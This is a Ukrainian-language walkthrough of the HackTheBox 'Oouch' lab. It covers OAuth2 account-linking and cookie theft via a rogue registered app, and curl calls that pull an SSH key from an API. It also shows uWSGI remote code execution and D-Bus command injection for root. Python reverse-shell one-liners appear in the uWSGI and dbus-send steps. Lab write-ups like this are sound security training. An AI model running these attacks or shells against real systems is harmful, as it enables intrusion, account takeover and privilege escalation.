27. HackTheBox. Level Hard: Проходження Oouch. OAuth2, RCE в uWSGI и LPE через DBUS

18 січня 2025 3 хвилин Автор: Lady Liberty

У статті приділяється увага дослідженню веб-сервера, включаючи реєстрацію та авторизацію на сайті, а також аналіз його функціоналу. Особливу увагу приділено механізму автентифікації OAuth, реєстрації додатків та можливим уразливості, пов’язаним з цією технологією. Показуємо, як виявити та використовувати вразливість віддаленого виконання коду (RCE) на сервері uWSGI для отримання доступу до системи.

Прохождение Oouch

Продовження публікації рішень для доробки машин із платформи HackTheBox.

Ця стаття присвячена аналізу атаки на автентифікацію OAuth2, створенню власного додатку для викрадення куків адміністратора, а також експлуатації RCE на веб-сервері та сервері додатків uWSGI. Крім того, розглянуто метод підвищення привілеїв через шину повідомлень D-Bus.

Підключення до лабораторії здійснюється через VPN. Використовувати для цього робочий комп’ютер або пристрій із важливими даними не рекомендується, оскільки з’єднання виконується з приватною мережею, де працюють фахівці з інформаційної безпеки.

Recon

Ця машина має IP адресу 10.10.10.177, яку додаємо в /etc/hosts.

10.10.10.177 	oouch.htb
Спершу проводиться сканування відкритих портів. Оскільки сканування всіх портів за допомогою nmap займає багато часу, цей етап виконується за допомогою masscan. У процесі сканування перевіряються всі TCP- та UDP-порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500

Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.

nmap -A oouch.htb -p8000,22,21,5000,5555

Таким чином, маємо:

  • Порт 22 – SSH.

  • Порт 8000 — веб-сервер, що відповідає кодом 400.

  • Порт 5000 – веб-сервер, редирект на сторінку авторизації.

  • Порт 21 – FTP, на якому розташований файл project.txt, доступний з авторизацією від anonymous.

Зайдемо на FTP як anonymous, скачаємо файл та подивимося.

Нічого нам не каже. Ідемо на веб-сервер.

Як і випливало зі звіту nmap, відбувається редирект на сторінку авторизації. Є можливість реєстрації, давайте зареєструємось, а потім авторизуємося.

Сайт перебуває на стадії розробки, зберігає мінімальну кількість даних про користувачів, має функціонал для зберігання документів (ця опція доступна лише для розробника), а також забезпечує зворотний зв’язок з адміністрацією. Адміністратор заявляє, що переглядає всі отримані повідомлення.

Під час спроби викрасти куки було виявлено, що тег блокується (хоча наразі блокування вже не спостерігається).

Не знайшовши жодного вектора, вирішили просканувати директорії.

dirb http://oouch.htb:5000/

І знаходимо одну приховану директорію oauth.

Давайте додамо цей домен /etc/hosts.

10.10.10.177    consumer.oouch.htb

Але відбувається редирект. Давайте додамо і цей домен /etc/hosts.

10.10.10.177    authorization.oouch.htb

Знову зустрічає сторінка авторизації. Авторизуємося з колишніми обліковими даними. Але за нової спроби нас перекидає на 8000 порт.

consumer.oouch.htb :5000/oauth/connect -> authorization.oouch.htb :8000/login/

Відразу просканувавши директорії, не знаходимо нічого цікавого, тому реєструємось і тут.

І знаходимо нову директорію, яку знайшов dirb. Давайте проведемо пошук у ній.

dirb http://authorization.oouch.htb:8000/oauth

Є ще одна директорія! Але там нас зустрічає HTTP аутентифікація.

Робимо і в цій директорії.

dirb http://authorization.oouch.htb:8000/oauth/applications/

Ймовірно, у цій директорії знаходяться додатки, які також можна реєструвати. Однак більше нічого цікавого тут не виявлено.

Після завершення реєстрації у всіх необхідних місцях здійснюється повернення до початкового підключення. Для автентифікації використовується протокол OAuth.

OAuth автентифікація

OAuth — це відкритий протокол авторизації, який забезпечує можливість надання третій стороні обмеженого доступу до захищених ресурсів користувача без передачі їй логіна та пароля.

У рамках OAuth використовуються три основні види повноважень: облікові дані клієнта (client credentials), тимчасові облікові дані (temporary credentials) та токени (token credentials).

Кроки протоколу OAuth 2.0:

  1. Програма вимагає авторизацію для доступу до ресурсів сервісу від користувача. Додаток має надати ідентифікатор клієнта (client ID), секрет клієнта (client secret), URI перенаправлення (redirect URI) та необхідні області доступу.

  2. Якщо користувач авторизує запит, програма отримує authorization grant.

  3. Програма запитує токен доступу з сервера авторизації, надаючи автентифікацію особи та дозвіл на авторизацію.

  4. Якщо ідентифікація програми автентифікована, а дозвіл авторизації є дійсним, сервер авторизації видає токен доступу (одноразовий код). Авторизація завершено.

  5. Програма запитує ресурс у сервера ресурсів і надає токен доступу для автентифікації.

  6. Якщо токен доступу дійсний, сервер ресурсів передає ресурс програмі.

Таким чином, зв’язок облікового запису користувача з певними ресурсами на сервері ресурсів.

Атака на Oauth

Протокол OAuth може стати ціллю атаки, яка дозволяє прив’язати обліковий запис до ресурсів іншого користувача. Це досягається шляхом використання не свого одноразового токена доступу, а змушення іншого користувача передати свій токен на сервер. У такому випадку обліковий запис, що володіє токеном, буде прив’язаний до ресурсів облікового запису, який цей токен надав.

Оскільки адміністратор системи відповідає на всі повідомлення, є ймовірність, що він перейде за посиланням, надісланим йому. Більше того, у цьому додатку токен доступу передається не через HTTP-заголовок, як належить, а через параметр URL, що створює умови для успішного проведення такої атаки.

Переходимо consumer.oouch.htb :5000/oauth/connect і відловлюємо за допомогою Burp Suite.

Пропускаємо цей запит і нас перенаправляють, причому з параметром client ID.

Пропускаємо цей запит. Знову слідує перенаправлення, де можемо спостерігати інші параметри протоколу аутентифікації.

Знову пропускаємо запит. На сторінці з’являється вікно авторизації. Щоб закінчити, натискаємо на кнопку авторизації.

Пропускаємо цей запит. І ось нас знову перенаправляють, причому як параметр слід одноразовий код!

Збережемо цей токен і відкинемо запит. Давайте відправимо адміністратору це посилання, щоб коли він по ньому перейшов, наш обліковий запис був прив’язаний до його ресурсів (а якщо згадати — він має право зберігати документи).

Тепер пройдемо consumer.oouch.htb :5000/oauth/login.

Натискаємо на вже знайому кнопку, і на сторінці спостерігаємо профіль користувача qtc.

Давайте подивимося документи.

Є записи про про SSH ключ, власний каталог, і облікові дані для реєстрації додатків.

Entry Point

Якщо вдасться зареєструвати власний додаток, з’явиться можливість змусити адміністратора перейти на нього та отримати його куки.

Для цього потрібно повернутися на сторінку реєстрації додатків, авторизуватися та у відкритій формі створити новий додаток. Під час реєстрації необхідно зазначити публічний тип клієнта, вибрати кодовий тип гранту авторизації, а також вказати відкритий порт для підключення на локальному хості.

Зберігаємо собі client ID та client secret. Спробуймо авторизуватися самі, щоб перевірити, що автентифікація працює і користувач буде перенаправлений до нас.

Давайте сформуємо посилання, у відповідних параметрах вказуємо дані зареєстрованої програми authorization.oouch.htb:

8000/oauth/authorize/?client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&redirect_uri=http://10.10.14.203:4321&grant_type=authorization_code& client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF

Тепер перейдемо нею і побачимо підключення.

Оскільки все працює, відправимо її адміністратору.

Таким чином ми дізнаємося його куки. Давайте застосуємо їх.

І ми авторизовані на сервері як QTC.

USER

Щоб звернутися до ресурсу, нам потрібний токен, а щоб сервер його нам повернув, змінимо тип гранту авторизації на client_credentials.

Щоб отримати токен, можна скористатися інструментом curl. Для цього встановлюється метод POST (параметр -X), додаються необхідні заголовки HTTP (параметр -H), передаються куки, дані для відправки, а також дозволяється редирект (параметр -L). Оскільки відповідь сервера повертається у форматі JSON, для зручного відображення використовується утиліта jq.

curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H “Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data “grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq

Отримуємо токен. І тепер ми можемо звернутися до ресурсу, що значився у документах. Зробимо це також за допомогою curl.

curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq

Як і передбачалося, вдалося отримати інформацію про користувача. Проте подальші дії спочатку були неочевидними. Лише після підказки, що “API для отримання даних користувача вже працює, а в планах — створення API для отримання SSH-ключа”, виникла ідея. За аналогією з викликом API get_user, який надає інформацію про користувача, було вирішено спробувати звернутися до get_ssh для доступу до SSH-ключа.

curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq

І отримуємо ключ користувача qtc. Привівши його в нормальний вигляд, підключаємося до хоста та беремо користувача.

ROOT

Для recon’a на хості запустимо LinPEAS. У результаті знаходимо записку, залишену рутом.

І крім того, що на хості працює docker, і приватного ssh ключа, нічого не знаходимо.

Ймовірно, подальший вектор атаки пов’язаний із доступом до контейнера Docker. До того ж у записці згадуються DBus та iptables. Якщо про iptables добре відомо багатьом, то DBus заслуговує окремої уваги.

DBus (Desktop Bus) — це система міжпроцесного зв’язку, яка переважно використовується в операційних системах Linux. Вона дозволяє додаткам і службам взаємодіяти між собою, що відкриває можливість для атаки при неправильній конфігурації.

Наступним кроком варто розглянути знайдені мережеві інтерфейси для подальшого аналізу потенційних точок входу.

І бачимо 2 хости. На перший же вдалося зайти.

І знаходимо директорію /code.

У start.sh знаходимо використання uwsgi.

І в routes.py знаходимо використання dbus.

Таким чином, користувач сервісу має привілеї для використання DBus, що відкриває можливість експлуатації. Наступним кроком є отримання шелла для подальших дій.

uWSGI — це веб-сервер та сервер веб-додатків, спочатку створений для запуску Python-програм через протокол WSGI. Він широко використовується для запуску додатків на базі фреймворків, таких як Django та Flask. Щоб знайти спосіб експлуатації уразливостей, потрібно провести пошук доступних експлойтів, які можуть бути спрямовані на уразливості uWSGI або його конфігурації.

Завантажуємо перший і завантажуємо на хост.

scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/

Запустимо.

Таким чином нам потрібний uwsgi сокет. Причому служба зараз працює.

Значить, і сокет буде в директорії tmp.

Давайте запустимо експлоїт з усіма параметрами.

Видає помилку при імпорті bytes, зайдемо та змінимо вихідний код.

Якщо знову запустити експлоїт, він відпрацює, але йти не буде. Я замінив bash шелл на python. Це спрацювало.

python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

У терміналі з неткатом бачимо підключення.

Тепер є права на використання DBus. Команда dbus-send використовується для надсилання повідомлень до шини повідомлень D-Bus. У системі є дві основні шини: загальносистемна (system) і сеансна (session). Для використання dbus-send потрібно вказати ім’я з’єднання через параметр --dest, шлях до об’єкта і назву повідомлення. Якщо є аргументи, їх потрібно передавати у форматі тип:значення. Доступні типи: string, int32, uint32, double, byte, boolean.

Приклад команди:

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block “string:; SHELL”

Використовуємо –print-reply, щоб заблокувати відповідь на запит.

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"

І бачимо успішне підключення.

Висновок

У цій статті було розглянуто практичний приклад дослідження та експлуатації уразливостей віртуальної машини Oouch із платформи HackTheBox. Пройдено всі етапи: від початкового сканування портів і аналізу сервісів до реалізації атак на OAuth2 автентифікацію, виконання RCE через сервер uWSGI та підвищення привілеїв за допомогою D-Bus.

Інші статті по темі
CTF та райтапи
Читати далі
26. HackTheBox. Level Hard: Проходження Quick. QUIC HTTP/3, XSLT ін’єкція, Race condition
Стаття описує процес проходження машини «Quick» на платформі HackTheBox, демонструючи методи підключення через протокол QUIC HTTP/3, експлуатацію XSLT-ін'єкції та використання race condition для отримання приватного ключа користувача.
261
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.